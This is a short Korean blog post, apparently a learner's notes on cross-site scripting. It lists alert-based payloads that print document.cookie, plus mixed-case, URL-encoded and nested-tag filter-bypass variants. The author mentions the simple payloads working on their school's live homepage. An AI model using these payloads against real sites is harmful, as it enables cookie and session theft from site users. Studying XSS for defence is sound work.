가상머신 환경 세팅
크로스 사이트 스크립팅 공격
evans
2017. 12. 6. 23:43
크로스 사이트 스크립팅이란 악성 스크립트문을 사용해서 사용자의 쿠키나 세션을 탈취하는 기법으로 웹에서 발생하는 해킹기법으로 볼 수 있다.
일단 크롬에서는 기본적으로 크로스 사이트 스크립팅 코드를 입력하면 막기 때문에 인터넷 익스플로어를 사용했다.
<script>alert(123)</script>
가장 기초적인 스크립트 문이다. 123이라고 알림창이 나오게 하는 문이다.
참고로 학교 홈페이지에서는 이런 간단한 문도 잘나온다.
<script>alert(document.cookie)</script>
여기서 쿠키 정보를 출력하게 할 수 있는데
역시 잘나온다.
<input type="text" name="state" value="INPUT_FROM_USER">
참고로 조금만 html문을 안다면
이렇게 검색창을 만드는 기행도 가능하다.
"><script >alert(document.cookie)</script >
다음은 스크립트 문을 조금 수정한 것이다/
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
%3c는 아스키 코드로 < %3e는 >를 나타낸다.
참고로 이렇게 변형한 스크립트 문은 작동을 안한다.
<scr<script>ipt>alert(document.cookie)</script>
또한 바이패싱문으로 <src<script>ipt>문을 작성해보았다.
역시 복잡한 문은 작동을 안한다.